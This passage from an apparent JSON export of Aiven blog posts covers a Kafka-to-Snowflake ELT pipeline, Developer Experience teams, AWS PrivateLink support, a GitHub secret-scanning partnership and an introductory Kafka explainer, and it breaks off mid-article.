the center of our new ELT system is a Kafka cluster with one topic per Postgres table we’re replicating. This cluster is dedicated solely to ELT events, because unlike other clusters, we have auto topic creation enabled to reduce maintenance cost of the system. At the rate we’re growing, I wanted to avoid any manual steps past the initial setup for a database. \n\nWith auto topic creation enabled, when a new table is created in one of our Postgres instances, the data for that table flows all the way into our data warehouse without any intervention. We use an agent task to periodically police the topics in the cluster, and automatically make adjustments to retention policies (at least until [KIP-158](https://cwiki.apache.org/confluence/display/KAFKA/KIP-158:+Kafka+Connect+should+allow+source+connectors+to+set+topic-specific+settings+for+new+topics \"kafka kip 158 link\") is implemented).\n\n__Kafka Connect:__ Connect is an open source framework used to integrate Kafka with other existing systems (databases, filesystems, etc) using pre-built components called connectors. Connectors can either move data from an external system into Kafka (a Source connector), or move data from Kafka into an external system (a Sink connector). \n\nWe run a Kafka Connect cluster in AWS Elastic Container Service to move data from our databases into Kafka, and from Kafka into Snowflake. Kafka and Kafka Connect have a vibrant community, so there’s a good chance a connector already exists for the systems you use.\n\n__Snowflake Sink Connector:__ Unfortunately, when we first started building this system a connector for Snowflake didn’t exist. What we’re actually doing right now is using a S3 Sink Connector to write the data to S3, then auto-ingesting the data into Snowflake with Snowpipes. The data gets appended into tables in our ‘landing zone’ schema, where each table just has a single VARIANT column containing the JSON blob representing the row.\n\nHowever, a couple months ago at their 2019 Summit Snowflake announced an open source [Snowflake Connector](https://docs.snowflake.net/manuals/user-guide/kafka-connector.html \"snowflake connector page link\"), which works by pushing data to an internal Snowflake stage, and then calling the Snowpipe rest API to ingest the data. This approach has the benefit of not relying on S3’s event notifications to trigger files to be loaded, which isn’t 100% reliable. The connector is currently in preview, but once the bugs are worked out and it hits general availability we’re planning to start using it instead.\n\n__Snowflake Streams \u0026 Tasks:__ At this point, the data has made its way into a hidden ‘Landing Zone’ schema in Snowflake, and it’s only been a couple of minutes. Before we expose it to the rest of the company, we need to do some basic data cleansing (stuff like filtering test data, converting types, etc). At the time, we were using a combination of Apache Airflow + dbt to transform our data into useful datasets, which worked well, but isn’t really suited for low latency processing.\n\nFortunately for us, Snowflake recently announced a new set of features aimed at continuously transforming data called Table Streams and Tasks. A table stream, usually just referred to as a stream, is an object used to track changes to a table made by data manipulation language (DML). Under the hood, the stream keeps track of all inserts/updates/deletes in the table since the last time the stream was consumed. \n\nThis metadata makes it easy for consumers to process only updates to a table each time they run, without having to keep track of any additional information themselves. The consumer of a stream can be any DML statement, but streams are most frequently used with the new Tasks feature. Tasks are just a lightweight way of executing a small SQL statement on a schedule, though they can also be chained together to form more complex pipelines.\n\nInstead of running hourly batch jobs in Airflow that each process tens or hundreds of thousands of rows, using tasks we’re now able to schedule over 5000 micro-batch jobs an hour that only process a handful of new rows each time they execute. Each job usually executes in 5–10 seconds, and we end up being able to skip a lot of job executions for tables that haven’t had any updates.The end result is fresh, clean data ready to be queried by the rest of the company.\n\n![convoy inc office photograph](//cdn.sanity.io/images/sczeoy4w/production/0effcd5f23f00553af5cfb84ed847ad02bac6c82-2100x1400.jpg)\n\n## Logs \u0026 Offsets\nThe above section describes how the system works, but doesn’t really explain why it works. Better put — given the complexity, how can we guarantee that all of the data flowing through the system will make it to its final destination, and some won’t get lost along the way? \n\nDespite our old ELT system being a bit slow, in all the years it ran I don’t think we ever had a case of missing data. Everyone in the company trusted that the data it produced was correct, and whatever we built to replace it needed to live up to the same standard. In this section I’m going to touch on two core concepts that allow us to achieve 5 minute latency with guaranteed at least once delivery: the log, and processing with offsets.\n\nJay Kreps [defines a log](https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying \"original source link\") as “perhaps the simplest possible storage abstraction. It is an append-only, totally-ordered sequence of records ordered by time”. The most important aspect of the log is its simplicity, especially compared to something like a relational database, or document store. Writing to and reading from a log is a cheap operation, and is what allows us to achieve such low latency even when streaming every change to every row in our production databases. In fact, Kafka is able to easily handle millions of reads/writes a second on relatively modest hardware.\n\nThe second core concept we need, offsets, comes from the totally ordered and append-only attributes of a log, which allows us to identify any record in the log simply by its position. Offsets allow consumers to maintain their positions in the log while processing, and only advance their offset, commonly referred to as committing, when they’ve successfully processed a record. This “offset and commit” processing pattern is what gets us our guarantee of at least once delivery — if a consumer crashes before successfully processing a record, it will simply pick up where it left off the next time it runs. \n\nNote however, it is possible for a consumer to process a record, but fail before committing the new offset, which is why we’re guaranteed at least once delivery, and not exactly once delivery. Because we run the risk of pushing duplicate events into our data warehouse, we make sure to de-dupe the data before exposing it to our consumers.\n\n![kafka-log-offset-diagram](//cdn.sanity.io/images/sczeoy4w/production/ec2f3658a5fc2f616f248c86c19bfa1f81463781-2100x652.png)\n\nBoth of these simple but powerful concepts can be found in each step of the new pipeline we built: as the record for an update travels from Postgres to Kafka to Snowflake, it’s appended to a log at each stop. In conjunction, every consumer maintains an offset in the upstream log as it reads records, and commits a new offset only after it has successfully appended the record to the downstream log. Here’s a quick breakdown of the logs and offsets that make up our new ELT pipeline:\n\n__Postgres and Debezium Connector__\n\n*The Log*: The Postgres write ahead log (WAL)\n\nAlso referred to as the transaction log, is a log of changes committed to the database. Internally Postgres uses the WAL to ensure data integrity by only changing data files (tables/indexes) after those changes have been logged. In the event of a crash while updating data files, Postgres is able to recover the database using the log. The WAL can also be consumed by external systems through a process called logical decoding which I discussed in the previous section.\n\n_The Offset_: The Postgres LSN (log sequence number)\n\nThe LSN is the byte offset into the Postgres write ahead log. When you create a logical decoding slot, Postgres maintains a variable called confirmed_flush_lsn, which is the latest LSN that its consumer has confirmed it has processed. In our case, the Debezium connector periodically calls PGReplicationStream.setFlushLsn(LogSequenceNumber) to commit its processed offset, but only after it has successfully written the data to Kafka.\n\n__Kafka__\n\n*The Log:* Kafka Topics\n\nLogs and offsets are the building blocks of Kafka, and in this case the log is just a Kafka topic. For a good intro, checkout the ‘Kafka in 30 seconds’ section of [Kreps’ Kafka Benchmark](https://engineering.linkedin.com/kafka/benchmarking-apache-kafka-2-million-writes-second-three-cheap-machines \"original source link\").\n\n*The Offset*: As of release 0.9 Kafka has a clever mechanism for allowing its consumers to track and commit their offsets — it uses Kafka!\n\nInternally Kafka maintains a topic called `__consumer_offsets` which consumers periodically commit their progress to. If the consumer fails, it just requests its last committed offset, and resumes processing where it left off. The frequency at which consumers commit back their offset is configurable, and is a tradeoff between increased overhead for shorter intervals and potentially re-processing more records if the consumer fails for longer intervals.\n\n__Streams \u0026 Tasks__\n\n*The Log*: Our ‘landing zone’ tables\n\nThis is arguably the loosest interpretation of a log as the only thing enforcing the append only property is convention and database permissions. That being said — each table in our landing zone schema has the records read from Kafka appended to it by a Snowpipe. We prevent any inserts/updates/deletes (other than a Snowpipe appending records to the table), which gives us the append only, totally ordered properties of a log.\n\n*The Offset*: Table Streams\n\nAs I mentioned above, Snowflakes new Table Streams feature offers a way to track changes to a table over time. To accomplish this, the Stream maintains a point in time (which they even refer to as an offset in their documentation) as the current transactional version of a table. The offset for a stream is only updated when the contents of the stream are consumed in a successful DML transaction, which means unlike the rest of the pipeline we’re able to guarantee exactly once delivery here. Either the transaction that reads from the stream, inserts/updates/deletes in a new table, and updates the offset succeeds, or it’s rolled back and nothing is changed.\n\n## The Result\nAfter several months of prototyping and development, we were able to deliver on our goal of a low latency ELT pipeline. I hope this post has illustrated how a relatively complex system can be broken down into a few simple core concepts, a process I had to re-learn as we worked our way through this project. The impact of this project is best summed up by the below graph of data warehouse latency after we transitioned from hourly batch processing to our new ELT pipeline.\n\n![convoy inc time delay of data warehouse src table](//cdn.sanity.io/images/sczeoy4w/production/fc43b1680aab595e9b74ad7494eee6105fc69d4d-1198x396.png)\n\n*Originally published on Convoy Inc's blog and republished here with author's permission. You can read the original article [here](https://medium.com/convoy-tech/logs-offsets-near-real-time-elt-with-apache-kafka-snowflake-473da1e4d776 \"logs \u0026 offsets: (near) real time elt with apache kafka + snowflake\")*.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-26T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With Apache Kafka® and Snowflake, Convoy has been able to deliver on their goal of a low latency ELT pipeline. Read more about the project in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-9844509f05d62dc886c680fe4f4eecf99721dc6a-1567x844-png","_type":"reference"}},"metaTitle":"Near Real-Time ELT with Apache Kafka® \u0026 Snowflake"},"slug":{"_type":"slug","current":"/blog/near-real-time-elt-with-apache-kafka-and-snowflake"},"subtitle":"Near Real-Time ELT with Apache Kafka® \u0026 Snowflake","title":"Near Real-Time ELT with Apache Kafka® \u0026 Snowflake"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2Iw3pDfUWZ9FvJrhm2OhYT","_rev":"j5OhKGUVbND2aFEj9l9veE","_type":"post","_updatedAt":"2023-06-22T14:04:00Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Developer Experience is the latest buzzword in software development. It’s used as a catch-all term, with meanings from a wide-ranging approach to center developers in an application’s lifecyle, to a narrowly-defined description of the mission of a single team. The latter end of the spectrum is what this article addresses: Developer Experience teams, and the added value they bring to a company.\n\nLike [CloudOps teams](https://aiven.io/blog/cloudops-the-everyday-heroes \"CloudOps - the everyday heroes| Aiven blog\") but on a larger scale, DEX teams make sure that developers can focus on development work. Their mission is to shift the burden of dealing with tool issues away from product development teams onto the shoulders of dedicated personnel. \n\n\u003e With more efficient development teams, businesses might be opening the door to an annual benefit of $1.7 million ([IDC study](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi)).\n\nOn the level of the individual employees, it makes perfect sense. Your highly-valued developers can focus on their strengths, which makes them happier and more productive.\n\nIt also makes sense on the company level. Having a DEX team ensures that the product development budget is actually spent on development tasks: creating new features, refactoring product code, what have you. Then you can have a separate, more easily manageable and trackable budget for selecting, vetting and managing all the tools and technologies, sometimes also the processes and best practices, that developers use in their daily work. That sounds nice, too.\n\nBut is it really worth all the hype? And how did we even come here?\n## All hands on DEX\nThe past ten years have seen a number of changes that all seem to feed into each other: a shift away from monolith to modular, from waterfall to agile, from in-house to service, from on-premises to cloud… The pace of product development increases and the release cycle intensifies. \n\nCompanies are trading Big Infra for Agile Service.\n\nAgainst this background, the requirement to focus on core goals is not just understandable. It’s essential. No one has the time to spend on extraneous fluff, so we trim it all off by using outside services: software, platforms, and of course databases and data pipelines. \n\nBut utilising the ‘as-a-service industry’ generates other flavors of fluff. Not only is there the burden of setting up and managing the technical infrastructure. It also means negotiating and managing subscriptions, maintaining information security, and meeting legal requirements. No doubt there is also a myriad of other tasks that don’t neatly fit under the main headings.\n\nIt’s for dealing with all of this that companies are increasingly setting up developer experience teams.\n## A good DEX is a force multiplier\nAiven works with DEX teams all the time. Aiven’s DBaaS services are an integral part of our customers’ cloud stack, and Aiven aims to provide the best developer experience in the business. That’s why Aiven has a ringside view of the benefits that a good DEX can bring.\n### Boosting business with DEX\nYour business can’t take you leaving your devs out in the cold. For most companies today, developer teams are what brings the bread and butter to the company table (not alone, of course, but they play a crucial role). It seems like a no-brainer that companies would want to keep them productive, especially since good devs don’t come cheap. In fact, these days, it may be that good devs don’t come to your company _at all_, since they can pick and choose where they want to work. Would you want an employer that doesn’t care about your well-being and your ability to do your job? No one does. \n\nYet that’s not what is happening across the board(room). Many organizations are short-changing their developer teams by wasting their time on adminstratrivia or downright blocking their access to the latest, most effective tools by mismanaging infrastructure- and tool-related processes. By doing this, they are missing out on the added value that the teams would otherwise bring.\n\n[In a recent study with Aiven, IDC calculated](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"IDC: Aiven cloud data services bring 340% three-year ROI | Aiven blog\") that with more efficient development teams, businesses might be opening the door to an annual benefit of $1.7 million.\n\nSounds insane? That figure is the annual average benefit seen by Aiven customers, estimated by themselves as the amount they save annually by using Aiven services. Most of that is due to developers being free to do their jobs, instead of maintaining infrastructure or navigating lengthy procurement processes.\n### A happy developer is a productive developer\nWhen employees are happy, focused and satisfied, the quality and quantity of their output increases. Any employer should know this. ([And act accordingly!](https://aiven.io/blog/why-your-boss-should-choose-aiven \"Why you(r boss) should choose Aiven | Aiven blog\"))\n\nWhat makes developers happy? Well, many things, of course, most of which aren’t even X-rated. However, when it comes to job satisfaction, the number one factor is being able to do the product development work they were hired to do. \n\n\u003e Teams are more productive and efficient when they can focus on creating added value.\n\n“Teams are more productive and efficient when they can focus on creating added value,” says Heikki Nousiainen, Aiven’s CTO. “On the other hand, when they work with real business solutions doing interesting and challenging stuff, without the infrastructure headaches and repetitive tasks, people find their jobs more meaningful.”\n\nHeikki remembers when his former employer F-Secure began to invest heavily in their developer experience. “The productivity really shot up fast. And it only makes sense. If you need a new tool or environment to make progress, and the procurement process takes weeks, it’s bound to slow you down.”\n\nA quick toolkitting process also has another benefit: innovation. “Developers can try out new things more easily. This makes it faster to solve tool issues and brings innovative solutions within reach of your developers.”\n### Increased mobility and easy recruitment with standardised tooling\nWith the worldwide shortage of developers, companies are always looking for new recruitment angles. The tools that a developer can work with can prove a powerful incentive to work with your company - even when the company’s products don’t provoke enthusiasm among applicants.\n\n\u003e The tools that a developer can work with can prove a powerful incentive to work with your company.\n\n“Companies in the traditional industries, for example, aren’t seen as exciting,” says Ben Laverton, Senior Account Executive who works extensively with Aiven’s customers and understands their needs. “Utilities or insurance, for example. I work with one company who tells me their brand is ‘boring’, according to their developer applicants, but who still manage to pull in serious talent by offering a first-class developer experience\t with cutting-edge tools and technologies.”\n\nNousiainen also finds that having a wide but controlled set of tools makes it easier for people to move between teams and projects. “Developers benefit because they can follow their passion, and the company benefits because resources can be targeted where they’re needed,” Nousiainen says.\n\nBesides, the quick turnaround cycle also means that the tools keep pace with product development. “If you release every week, and the process to switch tools takes fifteen weeks, that’s quite a few releases you have to make with a toolkit you know to be sub-optimal,” Nousiainen points out. \n\n## Wrapping up\nDEX is the grease in the gears of your product development process that keeps the wheels turning fast and the whole kaboodle nimble to steer. By centralising the processes around developer tooling, you’re not only making their management more integrated, you’re also keeping that load off the backs of the developers.\n\nAnd that gives you both happy developers and a happy bottom line!\n\n-------\n\nFollow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-22T00:00:00.000Z","seo":{"metaDescription":"Set up a Developer Experience team to take care of your developers - and your bottom line. Find out how DEX gives a competitive edge in software development.","metaImage":{"alt":"","asset":{"_ref":"image-7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844-png","_type":"reference"}},"metaTitle":"Winning with Developer Experience"},"slug":{"_type":"slug","current":"/blog/winning-with-developer-experience"},"subtitle":"Set up a Developer Experience team to take care of your developers - and your bottom line. Find out how DEX gives a competitive edge in software development.","title":"Winning with Developer Experience"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7I5ab8PEr0f1APEB3xRV1U","_rev":"FJE9FJz5NeK3Yo2P5WWLWa","_type":"post","_updatedAt":"2023-06-19T08:20:07Z","authors":[],"body":"We’re happy to announce that Aiven services now support AWS PrivateLink for secure network connectivity. This new capability is an addition to the previously supported VPC peering and AWS Transit Gateway options as we continue to strengthen our customers’ ability to securely connect cloud and on-premise applications in their environments. \n\n[AWS PrivateLink](https://aws.amazon.com/privatelink/ \"AWS PrivateLink | Amazon.com\"), an AWS networking service, provides private connectivity between VPCs, Aiven services, and your on-premise networks without exposing your traffic to the public internet. Now you can easily create an Aiven service cluster with PrivateLink enabled, and securely connect to it from your VPC or on-premises network.\n## Why choose PrivateLink?\n\nAWS PrivateLink offers a secure connection to Aiven services and simplifies network management. AWS PrivateLink traffic is fully private and does not go through the public internet. \n\nWith AWS PrivateLink you can reduce your vulnerability to brute force, distributed denial-of-service attacks and other threats. It allows you to use private IP connectivity, with your Aiven services functioning as though they were hosted directly on the same, private network. This means no more configuring firewalls, internet gateways, VPC peering connections, path definitions, or routing tables! It makes the management of complex networks much easier. \n\nDo you have existing on-premise applications that you would like to migrate using Aiven services in the cloud? You can now migrate them easily and worry-free, as your traffic remains private and compliant with privacy policies. \n\n## Getting started with AWS PrivateLink in Aiven\nTo get started with AWS PrivateLink, see our help article [Using AWS PrivateLink with Aiven services](https://help.aiven.io/en/articles/4820209-using-aws-privatelink-with-aiven-services). For pricing details, take a look at [our pricing page](https://aiven.io/pricing \"Pricing | Aiven website\").\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-16T00:00:00.000Z","seo":{"metaDescription":"Aiven services now support AWS PrivateLink for secure network connectivity. Find out what it means for you.","metaImage":{"alt":"","asset":{"_ref":"image-5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844-png","_type":"reference"}},"metaTitle":"Announcing support for AWS PrivateLink"},"slug":{"_type":"slug","current":"/blog/announcing-support-for-aws-privatelink"},"subtitle":"Aiven services now support AWS PrivateLink for secure network connectivity. Find out what it means for you.","title":"Announcing support for AWS PrivateLink"} {"__i18n_lang":"en","_createdAt":"2023-05-16T08:16:22Z","_id":"642cdf86-9fef-4fbc-94d0-b4a684adb3de","_rev":"YN8truRCqnchJPC7UzUuer","_type":"post","_updatedAt":"2024-11-25T14:00:03Z","authors":[{"_key":"724380f11071","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Have you ever accidentally committed a secret on GitHub and then wished you could go back in time? When you commit code to GitHub, all of the changes you make are visible to everyone who has access to that repository. Even if you unintentionally commit a secret to a repository, it can be accessed by anyone who has access to the repository. This could potentially lead to sensitive data being compromised or unauthorized actions being taken. In this blog, we’re excited to inform you about [Aiven’s partnership with GitHub](https://github.blog/changelog/2023-05-10-aiven-is-a-github-secret-scanning-partner/), customizing their [secret scanning program](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning) to detect sensitive data specific to the Aiven environment.\n\n## The need for secret scanning\n\nCommitting secrets to GitHub is a common mistake, but it can have serious consequences. For example, if you commit an access key for a cloud provider, an attacker could use that key to spin up instances or access your resources. Similarly, if you commit a password to a database, an attacker could use that password to access the database and steal or modify data. \n\nFinding and fixing security vulnerabilities in code can be time-consuming and resource-intensive. Secret scanning automates this process by scanning code for potential security risks, saving developers valuable time and resources.\n\nMany regulatory requirements, such as PCI DSS and HIPAA, require that sensitive information be protected. Secret scanning helps ensure compliance with these regulations by identifying and preventing the exposure of sensitive information.\n\n## GitHub secret scanning - under the hood\n\nHow does GitHub recognize a string as a secret? Under the hood, GitHub secret scanning uses a combination of regular expressions and machine learning to detect secrets. The regular expressions are used to scan for known patterns, while the machine learning algorithms are used to identify new patterns that may indicate a secret.\n\nFor example, the action might scan for patterns like AWS_SECRET_ACCESS_KEY or API_KEY. When a secret is detected, GitHub raises a security alert, which is visible in the repository's security tab. The security alert includes information about the file and line number where the secret was detected, as well as a suggestion for how to remediate the issue.\n\nWhen a match of your secret format is found in a public source, a payload is sent to an HTTP endpoint of your choice. This endpoint can be specified by an individual or a company participating in the GitHub Secret Scanning Partner Program.\n\nThe following diagram is taken from the [GitHub documentation](https://docs.github.com/en/code-security/secret-scanning/secret-scanning-partner-program):\n\n\n![GitHub secret scanning flow diagram. A user pushes changes to a GitHub repository, which then runs regex patterns to identify secrets. Any matches are sent by GitHub to a verification endpoint owned by Aiven, or other services the user might use. If the secret is matched, the verification endpoint then revokes the secret and sends back an alert.](https://cdn.sanity.io/images/sczeoy4w/production/003b813b4311f2eb80e5fd691b5ca9ce3caf7c20-1440x640.webp)\n\n## Why is Aiven participating in the GitHub secret scanning partner program?\n\nAiven has partnered with GitHub to enable you to scan private repositories for Aiven secrets and API tokens, something that was previously only possible on public repositories. This helps you keep your confidential code as secure as your open source packages. \n\nPrivate repository scanning works a little differently than public repository scanning. When a match is found in a private repository, the repository admins and committer are alerted, and those responsible can manage the issue via the Security tab in GitHub. GitHub Enterprise customers with GitHub Advanced Security enabled can also configure push protection on private repositories, which will prevent any commits containing matching secrets from being pushed to a GitHub repository belonging to that Enterprise. GitHub enabled [push protection on all public repositories](https://github.blog/changelog/2023-05-09-secret-scannings-push-protection-is-available-on-public-repositories-for-free) on 9 May 2023.\n\nIn conclusion, Aiven's [partnership with GitHub](https://github.blog/changelog/2023-05-10-aiven-is-a-github-secret-scanning-partner/) on their secret scanning program is a significant step forward in helping customers keep their code and secrets safe. By informing customers if/when an Aiven token is leaked, Aiven is playing a vital role in the shared responsibility model for data infrastructure security. This proactive approach to security is essential for ensuring that sensitive information is protected and that compliance requirements are met. With Aiven and GitHub's secret scanning program, customers can feel confident that their code and secrets are safe and secure.\n\n\n## Further Reading\n\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)","categories":[{"_key":"fd9719466ae6","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"6f613cbb3b68","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Commitment is good, except when committing secrets: Aiven announces partnership with GitHub on secret scanning","asset":{"_ref":"image-8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844-png","_type":"reference"}},"publishedAt":"2023-05-18T16:05:18.188Z","related":[{"_key":"6dd95e6cf705","_ref":"3BTBvRIKQJ9GNeTL0gx9hS","_type":"reference"},{"_key":"ff03e044eab1","_ref":"70Tx3E8y7y9dUZN8Xkmn9v","_type":"reference"},{"_key":"7d60a1f6873e","_ref":"11X1jinOSlkROrjtJ5UT0k","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Commitment is good, except when committing secrets: Aiven announces partnership with GitHub on secret scanning","asset":{"_ref":"image-8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844-png","_type":"reference"}},"metaTitle":"Aiven \u0026 GitHub Secret Scanning Partnership for More Security"},"slug":{"_type":"slug","current":"/blog/aiven-and-github-secret-scanning-partnership"},"subtitle":"Announcing Aiven’s partnership with GitHub's secret scanning program to protect your cloud data infrastructure","title":"Improving security: Aiven and GitHub's secret scanning partnership"} {"__i18n_lang":"en","_createdAt":"2022-07-08T09:49:32Z","_id":"ElLnRMEzVGBvCslc1mXoT","_rev":"ejVwHgKe5k9eDWbchuP6cW","_type":"post","_updatedAt":"2024-07-11T12:05:12Z","authors":[{"_key":"3UGFZYFBoYjMPg7DR9R9YZ","_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"}],"body":"## Apache Kafka® simply explained with an e-commerce project example\n\n[Apache Kafka®](https://aiven.io/docs/products/kafka/concepts) is widely used in the industry, but the learning curve can be steep and understanding the building blocks of this technology can be challenging. That's why the goal for this article is to look at the fundamentals of Apache Kafka in simple terms. \n\n### Apache Kafka in a nutshell\n\nApache Kafka is **an event streaming platform** that is distributed, scalable, high-throughput, low-latency, and has a very large ecosystem.\n\nOr, simply put, it is **a platform to handle transportation of messages** across your multiple systems, multiple microservices, or any other working modules. This can be just frontend/backend applications, a set of IoT devices, or some other modules.\n\nApache Kafka platform is **distributed**, meaning that it relies on multiple servers, with data replicated over multiple locations, making sure that if some servers fail, we're still fine.\n\nIt is **scalable** and you can have as many servers as you need. You can start small and add more servers as your system grows. These servers can handle trillions of messages per day, ending up in petabytes of data persistently stored over disks.\n\nAnd what is great about Apache Kafka is its **community** and **a wide ecosystem** surrounding the technology. This includes the client libraries available for different programming languages and a set of data connectors to integrate Kafka with your existing external systems. Thus, you don't need to reinvent the wheel to start using Apache Kafka, instead you can rely on the work of amazing developers who solved similar issues already.\n\n### Where Apache Kafka is used\nTo understand where the need for Apache Kafka is coming from, we'll look at an example of a product.\n\nImagine that we decided to build an e-commerce project. When starting to work on the project, maybe during its MVP (minimal viable product) stage, we chose to keep all subsystems next to each other as a single monolith. That's why, from the beginning, we kept our frontend and backend services, as well as the data store, closely interconnected.\n\n![Diagram of a simple monolith - a database is connected to services called frontend, delivery, payments and ordering, each of which is also connected to some of the others](https://cdn.sanity.io/images/sczeoy4w/production/0785b64b6bbaf8c47acded3cdd3adb25a9553392-1600x1100.png)\n\nThis might be not ideal, but at start this approach can be effective and will work as long as we have a small number of users and a limited amount of functionality. \n\nHowever, once we start scaling and adding more and more modules (for example introducing a recommendation engine, notification service, etc.), very quickly the current architecture and the information flow will become a complete chaos which is difficult to support and expand. And with the development team growing, no single person will be able to keep up with the data flow of this product.\n\n![Diagram of a complex monolith - a database is connected to lots of services, which in turn are connected to each other. It's impossible to make sense of this diagram](https://cdn.sanity.io/images/sczeoy4w/production/9fbf16ab7e56d9dec53de715f9f115ac6828d098-1600x1100.png)\n\nThat's why eventually we'll need to have a tough conversation on how to split our monolith into a set of **independent microservices** with clear, agreed and documented **communication interfaces**.\n\nWhat's even more crucial, our new architecture must allow the product to rely on **real-time events**, where users don't have to wait till tomorrow to get meaningful recommendations based on their latest purchases. \n\nAnd this is a lot to ask. Introducing such processing of events is an immensely high volume operation and needs to be resistant to failures.\n\nLucky for us, these are exactly the challenges with which Apache Kafka can help. Apache Kafka is great at untangling data flows, simplifying the way we **handle real time data** and **decouple subsystems**.\n\n### Apache Kafka's way of thinking\n\nTo understand how Apache Kafka works, and how we can work with it effectively, we need to talk about Apache Kafka's way of thinking about data.\n\nThe approach which Apache Kafka takes is simple, but clever. Instead of working with data in the form of static objects, or final facts that are aggregated and stored in a database, Apache Kafka describes entities by **continuously arriving events**.\n\nFor example, in our e-commerce product we have a list of goods that we sell. Their availability and other characteristics can be presented in a database as numbers, as shown below.\n\n![A table. Columns are titled Name, Available, Sold and Searched. Row 1 is Laptop, 50, 20, 30. Row 2 is Bulb, 15, 3, 5. Row 3 is Puzzle, 6, 2, 7.](https://cdn.sanity.io/images/sczeoy4w/production/5631a94dcfca6d0071a322d02b39507f8d3be25f-1500x468.png)\n\nThis gives us some valuable information, some final aggregated results. However, we need to plan very carefully what information we store, so that it is sufficient to cover calculations of future insights. Since we don't know what the future holds, it is very tough to predict what data should be kept long term and what is safe to throw away.\n\nApache Kafka suggests that instead of storing aggregated object characteristics, we view this data as a flow of events:\n\n![Events occur along a timeline. Event 1 is customer 55 orders a laptop, Event 2 is customer 12 searches for a bulb, Event 3 is dispatch a laptop to customer 55, Event 4 is customer 12 orders 5 bulbs](https://cdn.sanity.io/images/sczeoy4w/production/13f52fb22318974c68c4f1fb10eac1176597984a-1600x734.png)\n\nThis flow shows the complete life cycle of a product purchase. And instead of seeing the aggregated final data, we observe the change of state.\n\nWe also can replay the events, if needed. We can start from the beginning, we can move to a certain point of time. \n\nNote that we can't change any of the events that already happened, but we can replay the events again and again, calculating metrics we need, answering different types of questions about the products and sails.\n\nThis type of architecture is actually called **event driven architecture** and, in the next section, we'll look at how Apache Kafka fits such architecture.\n\n### How Apache Kafka coordinates events\n\nAn Apache Kafka cluster coordinates data movement and takes care of the incoming messages. It uses a **push-pull model** to work with them. This means that on one side we have processes that create and push the messages into the cluster, they are called **producers**. On the other side, we have **consumers**, who pull, read and process the messages. \n\n![Producer A and Producer B both send messages to the Kafka cluster. There's a timeline of messages inside the cluster. Two consumers, one a database and one a phone app, read messages from the cluster.](https://cdn.sanity.io/images/sczeoy4w/production/c0db44fb8695a8b3d3d0c32abcdeda887d121a57-1600x602.png)\n\nProducers and consumers are applications which you write and control. You can have as many producers and consumers as you need.\n\nLooking at our e-commerce example, the producers can be part of the frontend applications, web and mobile apps. They will observe user actions, package information and send events to the cluster. The consumers can be connected to subsystems responsible for backend modules (in our example - notifications, deliveries, recommendation services). \n\nWhat is important, producers and consumers can be written in different languages, different platforms, completely not knowing of each other's existence. \nWe can shut down some producers and add others, meanwhile the consumers will not care that the messages were produced by some other entity, they wouldn't even realize that.\n\nIf a consumer gets broken, producers will continue working without issues, producing and sending new messages into Apache Kafka, where those messages will be stored in a persistent storage. Once the consumer is restored, it doesn't need to restart from the beginning since its last read message information its persisted in the platform, it picks up where it left off, reading messages from this persistent storage.\n\nTherefore, there is **no synchronization expected** between the work of producers and consumers, they work at their own pace. And this is how this helps decoupling our systems.\n\nSo, now we know where messages come from and who later reads them, but how are they organized inside the Kafka cluster?\n\n### Topics and messages\n\nWe call the sequence of messages in Apache Kafka a **topic**. Topic is an abstract term, we'll come back to this later, but in short, it's not how stuff is physically stored on the disk, but rather, how we think of it to simplify things. \n\nYou can have as many topics as needed describing different types of event, similar to tables in databases. Coming back to our example, we can have a topic with information describing a product purchase lifecycle, another topic with user registration events or a topic with system health state events. \n\n![There are 3 topics shown. Topic 1 contains User registration events. Topic 2 contains Product related events. 